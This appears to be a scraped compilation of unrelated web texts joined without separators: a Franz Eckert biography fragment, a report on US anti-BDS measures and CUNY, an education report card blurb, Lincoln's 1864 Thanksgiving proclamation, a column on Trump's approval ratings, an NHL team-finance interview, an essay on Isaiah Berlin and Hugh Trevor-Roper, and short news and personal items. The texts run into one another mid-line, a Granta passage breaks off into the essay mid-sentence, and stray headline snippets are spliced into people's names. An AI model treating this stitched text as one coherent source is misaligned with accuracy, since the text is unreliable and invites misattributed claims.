Eckert arrived in Seoul on 19 February 1901. His duties in Korea were similar to those he had previously executed in Japan. He soon had a small court orchestra of two dozen musicians established, which he subsequently built up to 70 members. The orchestra performed regularly at the court, but played every Thursday in Pagoda Park for the general public and for the Seoul-based expatriate community, during which performances, Eckert took the opportunity to publicize his own compositions, as well as those of Richard Wagner. Eckert was soon called upon to supply the harmony for the national anthem of Korea, the Daehan jeguk Aegukga which premiered on 9 September 1902. The new anthem had elements from the works of Wagner, and was played before Emperor Gojong, who was himself a Prussian enthusiast. However, only a few years later, in 1910, Korea was annexed by the Empire of Japan, and the anthem was banned in favor of Eckert's earlier creation, the Kimigayo.
Later life and death [ edit ]
Eckert remained in Korea, but in much reduced circumstances due to loss of his royal patrons. His situation was complicated by renewed ill health, and the outbreak of World War I and, in 1916, he resigned as conductor of his orchestra in favor of his first flautist, whom he had trained as his successor. Eckert died in Seoul from stomach cancer at age 65. His grave is located at Yanghwajin, Hapjeong-dong, Mapo-gu, Seoul. He was survived by his son Heinz Eckert.
Notes [ edit ]Legislators around the United States are pushing forward bills, resolutions and blacklists to combat the boycott, divestment and sanctions (BDS) movement.
This month, lawmakers in New York and Illinois advanced the countrywide anti-BDS effort.
New York senators voted to cut $485 million in state funding to City University of New York (CUNY), shifting the cost burden to the city.
Meanwhile, a CUNY professor who advises Students for Justice in Palestine was hauled before an investigative panel.
Republican State Senator Ken LaValle, who chairs the chamber’s committee on higher education, said the funding cut was meant to “send a message” to the university that it had not done enough to fight anti-Semitism on its campuses.
The slash to the state budget was originally proposed by Governor Andrew Cuomo as a way of trimming the state’s operating costs.
However, on 14 March, senators discovered that the Republicans had worded the budget proposal as a penalty to the school for its supposedly insufficient response to alleged anti-Semitic incidents on four of its 11 campuses.
Democratic Senator Liz Krueger from Manhattan said the resolution was “breathtakingly shocking.”
“This was one giant ‘what the heck?’ moment,” she told reporters.
Marty Golden, the sole Senate Republican who represents Brooklyn, criticized the resolution, calling it politically motivated.
Unfounded allegations
The allegations of anti-Semitism at CUNY originated in a 14-page letter authored by Zionist Organization of America president Morton Klein accusing the school’s Students for Justice in Palestine (SJP) group of carrying out anti-Semitic acts over the last three years.
The letter alleges incidents including swastikas appearing on campus and protesters shouting “Zionists go home!”
“The SJP has created a hostile campus environment for many Jewish students, causing them to feel harassed, threatened and even physically unsafe, in violation of the law,” Klein claims.
The letter calls on the university to publicly condemn the group and investigate its funding.
Klein includes no evidence to support the allegations of swastikas on campus or that they were produced by members of SJP.
Radhika Sainath, an attorney at Palestine Legal, who is also advising members of SJP, told the Wall Street Journal that the ZOA inaccurately pinned “some instances of real anti-Semitism” on Palestine activists.
“Here in New York City, the ZOA seems to think that the First Amendment doesn’t apply to students supporting Palestinian rights at CUNY,” Sainath told The Electronic Intifada last week.
ZOA has made similar allegations against campus groups around the country, prompting investigations by the federal Department of Education under Title IV of the Civil Rights Act.
The Department of Education’s Office for Civil Rights dismissed two of these complaints at Rutgers University and the University of California, Irvine. A third complaint was settled before the government could finish its investigation.
In response to the ZOA letter, CUNY Chancellor James B. Millikin hired two lawyers, Paul Schechtman and Barbara Jones, to review Klein’s claims.
CUNY also established two task forces, one to review the school’s “policies on speech and expression” and another to assess how the school can best encourage “a climate of mutual respect and civil discourse.”
In his response to ZOA, Millikin wrote that the school “cannot infringe on the constitutional rights of free speech and association of its students, faculty and staff.”
The Anti-Defamation League praised CUNY’s response, while Klein said he was disappointed, insisting Millikin condemn SJP.
Klein is nonetheless pleased with the Senate’s resolution.
In response to the Senate’s plan to cut CUNY’s budget, Millikin reiterated that his institution cannot infringe on free speech.
“Fabricated or absurd”
Sarah Schulman, a professor of English at CUNY’s Staten Island campus, where ZOA claims swastikas appeared, was called to testify before the CUNY task force on anti-Semitism that Jones and Schechtman are heading.
Schulman, who is Jewish, has been specifically targeted by the pro-Israel groups. The New York Daily News ran an “exclusive” story echoing the ZOA’s accusations of anti-Semitism against her and quoting tweets she made criticizing Israel’s summer 2014 attack on Gaza that killed more than 2,200 Palestinians.
Schulman is a school adviser of the SJP chapter at the College of Staten Island.
Jones presented Schulman with the ZOA’s list of accusations. In a Facebook post recounting her testimony on 22 March, Schulman states all the accusations were “fabricated or absurd.”
Schulman says there is no record that any swastikas were drawn on the walls of the college.
“There is no incident report of anyone ever doing such a thing at [College of Staten Island], even the president of the college does not recall this ever happening,” according to Schulman.
“The letter was really a list of slanders against Muslim students,” Schulman writes of the ZOA accusations. “Over and over there were vague charges that ‘a Muslim student’ said something unpleasant to a Jewish student. But never was there any evidence that this composite Muslim student had anything to do with SJP.”
Schulman told the investigators that the ZOA has been been harassing her on the Internet, sending a daily barrage of tweets to her publisher, reviewers and colleagues and publishing false information on her Wikipedia biography page, including that she visited Gaza as a “guest of Hamas.”
“At the end of the meeting I was asked what I thought the task force should include in their final report,” Schulman writes. “My suggestion: ‘That Students for Justice in Palestine should be treated like every other student group.’”
Meanwhile, in the wake of Klein’s accusations against CUNY, the New York City Council’s Jewish caucus is moving forward with a bill that would require the university to implement a more stringent mechanism to monitor alleged anti-Semitism on campus.
Blacklisting boycotters
Last July, Illinois became the first state to blacklist foreign companies that boycott or abstain from conducting business with Israel’s occupation or settlements in the West Bank or Gaza Strip. The law compels the state’s pension fund to divest from those companies.
On Tuesday, the Illinois Investment Policy Board blacklisted 11 companies.
The list includes financial institutions and supermarket chains which have divested from or stopped conducting trade with businesses and growers in the occupied Palestinian territories.
It includes several European banks, such as Nordea and ASN, that have divested from companies that violate Palestinian rights by participating in Israel’s settlements in the West Bank, all of which are illegal under international law.
The global security and imprisonment firm G4S also appears on the list.
Earlier this month, the UK-based firm, which provides equipment and surveillance technology to Israeli prisons and checkpoints, announced plans to end all business in Israel within the next two years.
The firm’s planned exit from Israel came after it had lost millions of dollars worth of contracts as a result of activist campaigns.
The Illinois investment board also maintains a list of companies the state is blacklisting for failing to boycott Sudan.
In January, Human Rights Watch issued a landmark report calling on all corporations to completely end their business activities in Israeli settlements in the occupied West Bank, including Jerusalem.
“The only way for businesses to comply with their own human rights responsibilities is to stop working with and in Israeli settlements,” Arvind Ganesan, director of the business and human rights division at Human Rights Watch, said.
The Illinois law and similar bills around the country seek, in effect, to penalize firms for respecting human rights.Education Report Card
By Dr. Matthew Ladner
The 20th edition of the Report Card on American Education is a comprehensive overview of educational achievement levels, focusing on performance and gains for low-income students, in all 50 states and the District of Columbia. The Report Card details state-by-state grades in the following policy areas:
State Academic Standards
Low-income student performance
Curricular policies
School Choice Programs
Quality and availability of school choice
Private school options
Charter school policy
Teacher Quality
Delivering well-prepared teachers
Expanding the teaching pool
Identifying effective teachers
Retaining effective teachers
Exiting ineffective teachers
Online Learning
Multi-District, Full-time Online School
Digital Learning
Home School Regulation BurdensAuthor Dr. Matthew Ladner analyzes student scores, looking at state education rankings and improvement over recent years. When combined, these policy measures build the state’s overall policy grade. Furthermore, the Report Card highlights education policies states have enacted and provides a road map to best practices, allowing legislators to learn from each other’s education reforms. This year, Wisconsin Governor Scott Walker writes an inspirational forward citing his experience implementing innovative reforms like school choice, merit-based pay and retention for teachers, and charter school expansion to the Badger State’s education policy.
Historical Report Cards:
19th Edition | 18th Edition | 17th Edition | 16th Edition | 15th Edition | 14th EditionPhotograph of Abraham Lincoln with his son, Tad, in 1864. (Brady National Photographic Art Gallery)
President Abraham Lincoln issued the following proclamation on Oct. 20, 1864, setting aside the last Thursday in November as "a day of thanksgiving and praise to Almighty God."
By the President of the United States of America
A Proclamation
It has pleased Almighty God to prolong our national life another year, defending us with His guardian care against unfriendly designs from abroad and vouchsafing to us in His mercy many and signal victories over the enemy, who is of our own household. It has also pleased our Heavenly Father to favor as well our citizens in their homes as our soldiers in their camps and our sailors on the rivers and seas with unusual health. He has largely augmented our free population by emancipation and by immigration, while He has opened to us new sources of wealth and has crowned the labor of our workingmen in every department of industry with abundant rewards. Moreover, He has been pleased to animate and inspire our minds and hearts with fortitude, courage, and resolution sufficient for the great trial of civil war into which we have been brought by our adherence as a nation to the cause of freedom and humanity, and to afford to us reasonable hopes of an ultimate and happy deliverance from all our dangers and afflictions:
Now, therefore, I, Abraham Lincoln, President of the United States, do hereby appoint and set apart the last Thursday in November next as a day which I desire to be observed by all my fellow-citizens, wherever they may then be, as a day of thanksgiving and praise to Almighty God, the beneficent Creator and Ruler of the Universe. And I do further recommend to my fellow-citizens aforesaid that on that occasion they do reverently humble themselves in the dust and from thence offer up penitent and fervent prayers and supplications to the Great Disposer of Events for a return of the inestimable blessings of peace, union, and harmony throughout the land which it has pleased Him to assign as a dwelling place for ourselves and for our posterity throughout all generations.
In testimony whereof I have hereunto set my hand and caused the seal of the United States to be affixed.
Done at the city of Washington, this 20th day of October, A.D. 1864, and of the Independence of the United States the eighty-ninth.
ABRAHAM LINCOLN.
By the President:
WILLIAM H. SEWARD,
Secretary of StatePresident Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s willingness to flout convention and stoke controversy may be starting to hurt him, even among previously strong supporters.
Trump has defied political norms ever since the start of his campaign two years ago. He brushed aside calls to become a more conventional candidate, and it paid off, making him the nation’s 45th president.
But Trump’s approval rating, consistently low by historical standards, has been sliding since he took office in January. Crucially, many recent surveys detected an erosion of his support among Republicans and independents.
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Trump’s job performance wins approval from only 35 percent of the public, while 64 percent disapprove, according to a new poll released late last week from The Associated Press and the NORC Center for Public Affairs Research. That is one of the worst findings yet for Trump in any major survey.
The same poll found that 65 percent of Americans think their president has little or no respect for the nation’s democratic institutions and traditions.
The second finding does not necessarily spell doom for Trump, given that a large segment of his support comes from people who like him because of his willingness to rebel against “business as usual” in Washington. But it is a warning sign for the president, at the very least.
Republican strategist Dan Judy argued that voters who had backed Trump with some ambivalence over Democratic nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE last November were among those most likely to be put off by the various controversies to afflict the White House and by the president’s incendiary style.
“A lot of people — the ‘Not Hillary’ Trump voters — knew who Donald Trump was, they knew what kind of person he was,” said Judy, who worked on Sen. Marco Rubio Marco Antonio RubioHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Trump unleashing digital juggernaut ahead of 2020 MORE's presidential campaign (R-Fla.) last year. “They were willing to tolerate some of the theatrics and some of the disruption it led to, as long as it led to a policy agenda they supported.
“The longer he goes without real policy victories, the less patience they are going to have.”
Those voters appear to be becoming jaded with the apparently endless storms that have afflicted the Trump presidency. But, as usual, there is no sign of the president backing down or tempering his public pronouncements.
Over the past week, amid reports that Trump is under investigation by special counsel Robert Mueller for possible obstruction of justice, the president unleashed Twitter barbs at Clinton, the “fake news media” and fired FBI Director James Comey.
On Friday morning, Trump appeared to take aim at his own deputy attorney general, Rod Rosenstein, who appointed Mueller after Comey’s firing.
“I am being investigated for firing the FBI Director by the man who told me to fire the FBI Director! Witch Hunt,” Trump wrote.
Sen. Dianne Feinstein Dianne Emiel FeinsteinHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' Key senators say administration should ban Huawei tech in US electric grid MORE (D-Calif.) was among those firing back at Trump. In a statement released a few hours later, she asserted, “The message the president is sending through his tweets is that he believes the rule of law doesn’t apply to him.”
Though Trump’s defenders have long argued that pollsters underestimate his support and that his base is resilient, there is some data to back up the skeptics.
In the RealClearPolitics average of polls as of Friday afternoon, Trump’s job performance was registering 39.9 percent approval and 53.6 percent disapproval.
Polling and data expert Nate Silver wrote on Twitter earlier this month, “Good reporting needs to be able to distinguish between Trump's Bannonist base (20-25% of the country) and all Trump voters (46%).”
Silver also highlighted, as other pollsters have done, that the number of Trump supporters who say they back him “strongly” has dropped in many polls.
In the new Associated Press poll, fully one-quarter of Republicans and GOP-leaning independents disapproved of Trump’s job performance, while nearly a third said he has little or no respect for America’s democratic institutions.
Those figures should be troubling to the White House, given that sitting presidents often enjoy approval ratings of around 90 percent among supporters of their own party.
Judy, the GOP strategist, said the change showing up in the polls is often a precursor to a broader loss of support.
“Even among those who approve, you’re seeing a decrease in the intensity of that approval,” he said. “That’s the first step in the decline. The next step is people moving from ‘somewhat approve’ to ‘somewhat disapprove’ — and that’s when Trump is in real trouble.”
Still, Judy acknowledged that such a switch might be a long time coming. And even some Republican strategists who have been critical of Trump cautioned against overstating his problems.
Pundits and pollsters have written him off repeatedly, only to find him survive problems that would sink other politicians.
Rick Tyler, who worked for Sen. Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE (R-Texas) during the 2016 GOP presidential primary, said Trump might have lost some “moderate Republicans” who had always been lukewarm in their support.
But, he added, “I think his base is holding together pretty well, because they don’t blame him. They think he is a victim — that there is grand conspiracy against him.”
The Memo is a reported column by Niall Stanage, primarily focused on Donald Trump’s presidency.Don Waddell’s seen it. Lived it. And, asked if what’s happening in Carolina reminds him of what happened in Atlanta, he shoots down the premise before the question can be finished.
“Totally different,” he responds, during a conversation before the NHL’s Board of Governors meetings began Monday in Pebble Beach, CA. “The Thrashers were sold to a group of new owners (in 2003) and there was eight years of litigation. Not even comparable.”
Waddell, now president of Gale Force Sports and Entertainment (the Hurricanes’ parent company), was a Thrasher executive for every minute of the team’s on-ice existence. On the outside, we look at the empty seats in Raleigh and wonder if this will work. On the inside, he says league finances changed for the better since hockey departed Georgia in 2011.
“Since I left Atlanta, revenues are way up across the NHL,” Waddell said. “Revenue sharing has improved considerably. Teams can still lose money, but it’s nothing like it was from 2008 until the new CBA. We don’t own PNC Arena, but we operate the lease, and it is profitable for us. That’s an important factor, and it runs until 2024.”
Three weeks ago, the @SNStats Twitter account compared the Hurricanes’ attendance to the QMJHL’s Quebec Remparts. The junior team averaged 2,000 more fans a game. Seeing the empty seats, you couldn’t help but wonder if Carolina followed Florida’s move of eliminating free tickets to games. That always makes it look worse.
Waddell says yes, that happened.
“You can’t have a season-ticket holder hearing someone next to them got in for free. They aren’t usually quiet about it,” he said with a smile. “Two years ago, we were at 3,000 free tickets per game, last year was down to 1,400. Now it’s 650 comps, and those you can’t get away from, for staff and players. Our season tickets dropped the last five years, but did not drop this year. Paid attendance is flat, but the building looks worse for that reason. ”
“It was a tough decision, painful. But it’s the right decision for the long tun. People who get free tickets are not going to shell out $150 in the future. It doesn’t happen.”
Owner Peter Karmanos desires to sell but wants a gradual turnover of power and influence, similar to what Charles Wang is doing with the New York Islanders. He is dedicated to the market; can’t stand relocation talk.
Anyone who watched the entire crowd stand for most of Game 7 of the 2006 Stanley Cup Final knows there is a passion. But it’s eroded with just one playoff berth in nine seasons. The Hurricanes were 15th in the NHL in attendance the year after their Cup win, averaging more than 17,000 fans, playing to 93 per cent of capacity.
Both numbers were better than Boston, Chicago, St. Louis and Washington.
“It’s not all about wins and losses, but we’ve got to give our fans some hope,” Waddell says. The team is seven points out of the playoffs, with the youngest roster in the NHL. “Ron (Francis) is doing the right thing. We have two first-round picks this year, ours and Los Angeles’s.”
They also have Winnipeg’s third-round selection from the Jiri Tlusty trade.
“Ron is keeping our draft picks. They won’t all turn out, but you give yourself more of a chance.”
Now, the big question: will finances affect their on-ice decisions — for example, re-signing Eric Staal?
“No,” he replies, but due to the sensitivity of Staal’s local pedigree (and Cam Ward’s), he declines any additional specifics. What he does say is this: “In actual money, we’re going to have more than $20M coming off our cap, including retained salary to Jay Harrison and Tuomo Ruutu. Not everyone is going to be let go, you have to keep someone. But it will give Ron flexibility.”
“We’re a budget team, not a floor team. Our payroll is $60-61M.”
Can you sustain that number?
“Yes. We can handle that.”
And, as Waddell adds again, it is to be handled in Carolina.Photo
In the spring of 1997, the literary quarterly Granta published an issue devoted to India’s Golden Jubilee. The tone was cautious but celebratory: on the cover, the country’s name was printed in bright red letters, followed by an exclamation point. Fifty years after partition, an independent India was rapidly establishing itself as an international power. The issue, which consisted largely of contributions from |
Life” (1999) and Adam Sisman’s “Hugh Trevor-Roper” (2010; American title “An Honourable Englishman”). Berlin was brought up in Riga, in Russian-controlled Latvia, and St Petersburg, or Petrograd as it then was, witnessing both the Social Democratic and the Bolshevik revolutions before fleeing the latter’s horrific consequences. He worked at the British Embassy in Washington during the war, in charge of monitoring the changing political winds in Britain’s most important ally, and at the embassy in Moscow immediately thereafter, meeting Anna Akhmatova (who wrote a poem about him) and Boris Pasternak (who gave him a copy of “Doctor Zhivago” to smuggle out of the country).
Trevor-Roper worked for the Secret Intelligence Service in the war. He teamed up with a group of brilliant Oxford friends, including the philosophers Gilbert Ryle and Stuart Hampshire, succeeded in cracking the radio codes of Hitler’s secret service, the Abwehr, and, much to the fury of the old guard, rose up the ranks, ending up as a major. A three-bottle lunch with Dick White, the head of British intelligence in Berlin, led to one of his greatest works. The Soviets had circulated the rumour that Hitler had escaped from his bunker and was living in the West. White suggested that Trevor-Roper use his forensic skills to prove beyond doubt that Hitler had died in his bunker. The resulting book, “The Last Days of Hitler”, turned Trevor-Roper into a celebrity and kept him in funds. “An infinite, endless, golden shower of American dollars flows ceaselessly into my pockets,” he wrote at the time.
Both men were at the heart of the British establishment. Berlin’s honours included a knighthood, the order of merit (limited to 24 people at a time), and the presidency of the British Academy; he was a director of the Royal Opera and a trustee of the National Gallery. Trevor-Roper was the regius professor of modern history at Oxford and, thanks to Margaret Thatcher, sat in the House of Lords as Lord Dacre of Glanton, thereby gaining a second unwieldy name. He spent an unhappy period as master of Peterhouse, Cambridge, fighting a nest of Tory reactionaries who offended his Whiggish commitment to ordered progress.
Both men embodied a certain idea of Englishness. Trevor-Roper married the daughter of Field Marshal Haig, the British commander in the first world war. He drove a Bentley, hunted to hounds and spent the advance of his first book, “Archbishop Laud”, on a horse called Rubberneck. Berlin loved England—“the best country in the world”, he was fond of saying—and would have relished William Waldegrave’s description of him, at his memorial service, as the perfect embodiment of the English gentleman. Yet neither man was an establishment clone.
Berlin saw himself as a Russian and a Jew as well as an Englishman. Trevor-Roper had no time for the Anglocentric navel-gazing of his Oxford colleagues: he revolutionised the debate about the English civil war simply by pointing out that it was part of a wider European convulsion. He was a mischief-maker in conservative dress. Charterhouse, his public school, was a thought-free zone, he claimed. The intelligence services were dominated by dullards—he described one of his superiors as a “purblind, disastrous megalomaniac” and another as a “farting exhibitionist”. (He made an exception for Philby, who later turned out to be a Soviet agent.) He declared that K.B. McFarlane, a revered Oxford medievalist who populated the Oxford history faculty with his acolytes, was “only capable of producing turds the shape of his own arsehole”.
Both men specialised in mixing history and philosophy. Berlin abandoned the analytic philosophy of 1930s Oxford for the history of ideas. He wanted to explore the great issues at the heart of political theory by interrogating the great thinkers rather than play games with words. Trevor-Roper believed, like the 18th-century historians who were his models, that “history is philosophy teaching by example”. He argued that historians should study problems that illuminated the human condition, such as the relationship between religion and social change or the state and the society that supported it. And he believed that historians can make a unique contribution to studying these problems by escaping the tyranny of time and place: he viewed Nazi Germany through the eyes of Tacitus, and McCarthyite America through the eyes of Erasmus.
This mix of worldliness and unworldliness—familiarity with affairs of state coupled with philosophical detachment—holds the key to the continued appeal of both men. They chose to address big subjects rather than solve academic crossword puzzles. They wrote for the educated public, not just cloistered scholars. Berlin produced a stream of essays on great political thinkers ranging from German nationalists to Russian novelists. Trevor-Roper roamed across the centuries: though his first love was the 17th century, he also wrote about Hitler’s Germany, the rise of medieval Europe, and, in one of his liveliest books, an Edwardian fantasist, forger and sex maniac, Sir Edmund Backhouse.
Trevor-Roper’s essays, not least those in one of his posthumous books, “History and the Enlightenment”, are models of their kind, glittering on the surface but built on granite. “When I read one of [his] essays,” wrote A.J.P. Taylor, no mean stylist himself, “tears of envy stand in my eyes.” He forced generations of undergraduates to read Gibbon and Macaulay, on the grounds that trainee historians need to learn to write before anything else. As one of them, I resented the exercise at the time—we were examined on Gibbon and Macaulay, together with Bede and de Tocqueville, just eight weeks after arriving at Oxford—but I now regard it as one of the glories of my education.
“There is nothing so exhilarating as a good battle,” he once declared, and he spent his life in armour. He lit up British intellectual life with merciless assaults on Arnold Toynbee, R.H. Tawney, Lawrence Stone and Evelyn Waugh. And even now that these controversies are long forgotten, it is a wicked pleasure to dig up his essays and watch the destruction. How can anybody have been quite so cruel? (His “liquidation” of Stone, a former pupil, has rightly been described as “one of the most vitriolic attacks ever made by one historian on another”.) And yet how can anyone express their cruelty in such perfectly turned prose?
Berlin was not as good a writer. He never used one word where he could use two, as Noel Annan, a friend, put it. He preferred to dictate than to write—the Dictaphone revolutionised his productivity—and this yielded great gusts of prose rather than crafted sentences. Yet to read him is to get an adrenalin rush. He not only reconstructs the mental worlds of thinkers as various as Marx and Herder: he tells us why they were so compelling. He breathed life back into the tiredest old debates and put fizz into the stodgiest German philosopher.
The more Berlin and Trevor-Roper wrote for the educated public, the more they became academic characters, and the more they became academic characters the more they endeared themselves to the wider world. The New York Review of Books gave both men as much space as they wanted, turning them into superstars in America. The Spectator published a series of Trevor-Roper’s articles abut the revolting students of the late 1960s, written anonymously in faux Jacobean prose and later collected together into a book, “Mercurius Oxoniensis”, which remains the most palatable account of that depressing period. This public visibility turned them into heroes and role models for generations of sixth-formers who might otherwise have concluded that history was nothing more than a list of dates and philosophy was nothing more than a polite name for intellectual masturbation.
The secret ingredient in the cocktail was the British public. The Britain that produced these two men was infatuated with intellectuals. Or at least with intellectuals of a certain kind—worldly men who knew how power worked rather than the irresponsible fantasists of Paris’s left bank. The BBC broadcast hour-long lectures by eminent sages. Penguin produced specials on the great controversies of the day. The Spectator and the New Statesman ran learned reviews. Even the internal workings of Oxbridge were the subject of widespread fascination, as C.P. Snow demonstrated with his novel about the struggle over the reins of a Cambridge college, “The Masters”. London dinner parties discussed the antics of Oxford characters such as John Sparrow, the warden (master) of All Souls, and A.L. Rowse, Trevor-Roper’s fellow historian.
Which brings us to another reason for the revival of Berlin and Trevor-Roper’s reputations—their talent for portraying their gilded worlds in a ceaseless flow of letters. These are inevitably a mixed bag. They include a lot of Oxford tittle-tattle that nobody but an academic trainspotter could care about today. Trevor-Roper’s grand style sometimes feels overwrought when applied to off-the-cuff communication. Taken as a whole, however, they provide a fascinating picture of an age that has now long gone: an age when everybody seemed to know everybody, when academic intrigues were discussed as if they were affairs of state, when academics were friends of duchesses, prime ministers, judges, spymasters and double agents.
Both men paid a price for being so much in the swim of things. Trevor-Roper’s reputation was disfigured by his decision to authenticate the “Hitler diaries” in 1983. Here he finally encountered the thorns that lay hidden among the fruits that he had been picking all his life—his refusal to specialise in a particular period and his weakness for Fleet Street. He had padded his income and fed his wife’s addiction to country-house living by accepting every fat commission that came his way. He had also become a director of Times Newspapers. But nothing had prepared him for the high-wire world of huge scoops. When he belatedly tried to retract his authentication, Rupert Murdoch is reputed to have said: “Fuck Dacre. Publish.” Poor Trevor-Roper was not as worldly as he thought: he dined with the devil but failed to pack a long enough spoon.
Berlin never played with explosives in the same way; he was a consummate academic politician who went out of his way to befriend the powerful and charm potential opponents. Yet his posthumous letters contain a number of ticking time-bombs. They show that this supreme intellectual could also be snobbish and snide. He relished the noxious gossip of academic life. He wrote unctuous protestations of friendship to A.L. Rowse and then sent letters belittling him to other people. “On Forster as bore, 104”, reads one entry in the index. “Hates Connolly”, reads another.
These may be ordinary vices. But they still have the power to shock coming from someone who is the closest thing that Britain has produced to an academic saint, and they have opened him up to a lot of criticism. David Herman wondered how such an impressive man could also be so “two-faced” and “self-absorbed”. For Clive James the letters beg for “belittlement”. For A.N. Wilson they are the products of “malicious, snobbish, boastful, cowardly, pompous logorrhoea”.
It is hard to gaze on the mounting pile of books by Berlin and Trevor-Roper without worrying that they tell us something about the state of modern academia. The world employs more academics than ever before. Most of these academics believe that they are engaged in a progressive project, producing fresh research, advancing the frontiers of know-ledge and putting their predecessors, ever so gently, in their places. And yet many of us prefer to read the work of a couple of dead Oxonians whose minds were formed in the 1930s.
The modern university is governed by an ever-proliferating thicket of rules, some of them invented by the professors themselves, to regulate admission to the guild, some of them imposed by a suspicious public. Aspiring academics must get a licence to operate in the form of a PhD (which can take up to a decade) and then publish in the right specialist journals. They must doff their caps to the lords of their particular universes and genuflect before the latest modish theorems. Academic bureaucrats tell them how to deliver their lectures and interact with their pupils. Yet other bureaucrats, some of them based in universities and others in government, assess their “productivity” and award money or promotions accordingly.
Berlin and Trevor-Roper managed to escape these stifling rules. Berlin wrote a popular book on Marx (in the Home University library, of all tenure-destroying places) rather than bothering with a PhD. A striking proportion of his work appeared in out-of-the-way publications rather than learned journals. Trevor-Roper dispensed with even more academic formalities. He savaged the most revered figure in his field, R.H. Tawney, with the flourish that his work was not only incompatible with the truth but positively repugnant to it. He was an erratic, not to say self-indulgent tutor—sometimes relaxing his academic standards for the sons of dukes, or taking against over-ambitious protégés, as he did with Lawrence Stone, but also sweating blood for obscure young scholars.
This freedom from petty rules meant that Berlin and Trevor-Roper could devote themselves to cultivating the life of the mind rather than tilling a narrow field. They could study whatever caught their interest, whether it be the life of a sex-crazed sinologist or Tolstoy’s political philosophy. They could publish when they felt like it, holding back whatever did not pass the twin tests of rigour and readability, rather than dancing to the tune of state funding. Berlin left his lectures to gather dust in his attic. Trevor-Roper left ten books unfinished, including 200,000 words of a planned history of the English civil war, which he laboured over for years in the hope that it would seal his reputation as a great historian, but which he ultimately abandoned in frustration: a believer in the importance of both contingency and profound social forces, he wanted to meld narrative with structural analysis, but could never get the balance right.
They were free to deal with their research pupils on their own terms rather than having to tick bureaucratic boxes. Those terms were generous. For all their celebrity, both men devoted great energy to their pupils. They did not do this to create a school of methodological disciples like Sir Lewis Namier in history or J.L. Austin in philosophy: they were both broad-minded when it came to method. Nor was it because they wanted academic empires. They both lived in a bigger world than academia. They did so because they saw teaching as an integral part of the life of the mind.
Both men became catalysts of excellence. A number of Berlin’s pupils have taken up his challenge of communicating ideas to the educated public: John Gray is one of the world’s most prolific philosopher-journalists and has also written a book on Berlin. And a number of Trevor-Roper’s have taken his contempt for parochialism to heart: Michael Howard, his successor as regius professor at Oxford and one of his first pupils after the war, says that his example inspired him to tackle big subjects. “He was a man of such range, such knowledge, of so many cultures, so many languages, with so holistic an approach to history, that I knew that if I was going to be any good as a historian I had to start from a pretty broad basis.” Trevor-Roper’s friends and pupils still have an annual dinner in his honour, at which much wine is taken. Berlin’s pupils break into imitations of him at the slightest provocation—the late Jerry Cohen, his successor at All Souls, enlivened his valedictory lecture with a burst of Berlin explaining the influence of the altogether neglected Samuel von Pooped on the totally forgotten Herman von Supine.
Blair Worden was supervised by Trevor-Roper for one term when his regular supervisor was away. But that term proved to be life-changing. When he moved to Cambridge to take up a fellowship, he was surprised to receive lengthy letters from his temporary supervisor: letters that combined gentle guidance with the most scandalous gossip. All these years later, Worden still recalls how the sight of the master’s handwriting on the envelope would lift his morale.
Henry Hardy was never even a formal pupil of Berlin’s, but got to know him as a philosophy student at Wolfson, the Oxford graduate college that Berlin founded and presided over. In 1974 he approached Berlin with the idea of gathering his scattered writings together. Berlin was reluctant, worrying that they were “sweepings from the cutting-room floor”, but warmed to the idea. Hardy’s work transformed Berlin’s reputation. Before Hardy a question mark had always hung over Berlin’s name: was he anything more than a parlour philosopher? Bowra joked that “like Our Lord and Socrates, he does not publish much”. Michael Oakeshott introduced him to an audience at the London School of Economics as “a Paganini of ideas”, implying he was too showy by half. T.S. Eliot congratulated him on his “torrential eloquence”.
But as Hardy began to publish the collected essays, starting with the great “Russian Thinkers” in 1977, the question mark gave way to a series of explanation points. Each volume received ecstatic reviews. Berlin opened up still more: in 1988 he asked Hardy to be one of his literary executors and allowed him to scour his attic and cellar. Hardy was overwhelmed by the quantity of what he found. “It was clear straight away that there were a lot of more-or-less finished pieces of writing, most of them probably prepared as lectures. But Berlin never actively sought to publish his own work.” Hardy has now acted as midwife for 16 volumes of Berlin.
The twin cults of Berlin and Trevor-Roper show no sign of fading. They continue to produce new books and fresh insights. They remind us of a world in which academics could be intellectuals and also wonderful writers, and of a time when, as Matthew Arnold put it in “The Scholar Gypsy”, “wits were fresh and clear,/and life ran gaily as the sparkling Thames”.California opens drive-through polling booth
Updated
Californians have been able to cast election ballots from the comfort of their cars at a one-off drive-through voting booth.
The innovative voting system was opened in Santa Ana, south-east of Los Angeles, as part of a push to encourage eligible voters to register and vote ahead of the November 4 presidential polls.
"We want to do everything we can to take the stress off at the voting precincts on election day," Orange County Registrar of Voters Neal Kelley said.
The booth was set up at the registrar's offices in Santa Ana, with voters directed into lanes before casting their ballots at eight voting machines.
The machines used were designed to meet disability requirements, making them a good fit for vehicles, Mr Kelley said.
California election officials are forecasting a record turnout across the state for this year's polls.
Mr Kelley said the number of people registering to vote by mailed ballots had soared from some 330,000 in 2004 to 600,000 this year.
- AFP
Topics: world-politics, 2008, human-interest, offbeat, united-states
First postedAs a new writer for Elite Readers I would like to share an experience I had with a Golden Corral Buffet Restaurant in Portsmouth, Ohio.
I was employed at one of these franchise stores for 5 days before I was terminated. My first day on the job I noticed some very illegal and just gross things occurring in the kitchen of this store. I begin to record secrete video using my phone and after a few days of this I turned in everything I had captured to the local health department. A few days later, I was contacted by my manager to come in to work. On the telephone he states, ” I need you to come in to discuss some legal issues.”
